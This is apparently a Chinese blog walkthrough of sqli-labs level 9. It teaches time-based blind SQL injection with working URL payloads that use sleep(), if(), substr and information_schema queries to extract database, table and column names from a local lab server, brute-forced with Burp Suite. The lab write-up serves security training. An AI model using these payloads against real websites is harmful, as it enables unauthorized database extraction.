文章目录
前言
这篇文章将介绍sql闯关中第九关的通关过程。第九关图片如下。笔者推荐使用火狐浏览器进行打开,当然本文的基础是在读者已经安装了sql靶场和Wampserver64的基础之上。注意要先打开Wampserver64然后才能打开sql靶场。同时建议读者下载Hackbar这个扩展包,在火狐浏览器中的管理扩展里就能下载,下载扩展中可能会出现以下问题。主要是扩展包是否要付费。这里下载Hackbar V2这个现在是免费的。Hackbar已经变成付费。
同时在本文介绍了SQL注入中的延时注入形式。对于SQL第九关用的就是SQL中的延时注入。
延迟注入
延迟注入常用到的函数if(expr1,expr2,expr3)
if(expr1,expr2,expr3)
运行过程:如果expr1正确,执行expr2,不执行expr3
如果expr1错误,不执行expr2,执行expr3
闯关过程
1:在末尾添加特殊字符,看SQL注入第九关的反应
分别用到以下两个URL
http://192.168.182.30/sql/Less-9/?id=1'%23
http://192.168.182.30/sql/Less-9/?id=1"%23
以上两个URL展示的页面分别如下
这里不要认为笔者写的有问题,相反这里我们要用到SQL注入中的延时(时间)注入。
以下对第九关进行闯关,详细的步骤如下。
2:通过在URL中写入延时函数,进一步判断
输入的URL地址如下
http://192.168.182.30/sql/Less-9/?id=1' and sleep(5)%23
结果显示如下
注意:Less之前有一个横杠在不断地移动,说明我们的延时注入函数执行了。因此可以进一步确定SQL注入的第九关中的包裹符是单引号。
3:爆破出库的字符长度
输入的URL地址如下
http://192.168.182.30/sql/Less-9/?id=1' and if(length(database())=8,sleep(5),1)%23
结果显示如下
注意:由于我们提前知道库的名字为security,也就是说库的字符串的长度是8。因此在运行这段URL地址时if函数第一个参数正确,执行第二个参数。执行结果为睡眠5秒。进而说明库的字符串的长度为8。
4:爆破出库的全称
输入的URL地址如下
http://192.168.182.30/sql/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)%23
这里可以用到Burpsuite的集束炸弹进行爆破出库的全称为security。
Burpsuite中的显示界面如下。
5:爆破出表的字符长度
运行的URL地址如下。
http://192.168.182.30/sql/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1)%23
运行的结果如下。
注意:这里通过Burpsuite集束炸弹爆破出第一个表的长度为6位。之后要进行爆破其他表的长度只需要修改这个URL地址中的指定参数就可以实现。
6:爆破出表的全称
运行的URL地址如下。
http://192.168.182.30/sql/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='p',sleep(5),1)%23
运行的结果如下。
注意:这里通过Burpsuite集束炸弹爆破出第一个表的全称为emails,其他的表名也可以修改相应的参数进行爆破。
7:爆破出表中的字段名
运行的URL地址为。
http://192.168.182.30/sql/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='a',sleep(5),1)%23
运行的结果如下。
注意:这里爆破通过集束炸弹爆破出的是emails表中的第一个字段,第一个字段的名字为id
总结
SQL注入中的延时注入漏洞主要是在输入正确或者错误的地址网页显示是没有变化的,像联合注入和布尔盲注,报错注入这样的注入攻击方式不好用时,对其进行延时注入。本文在介绍了if(expr1,expr2,expr3)这个函数的用法的同时,介绍了SQL第九关的闯关流程。希望能给读者带来一点启发。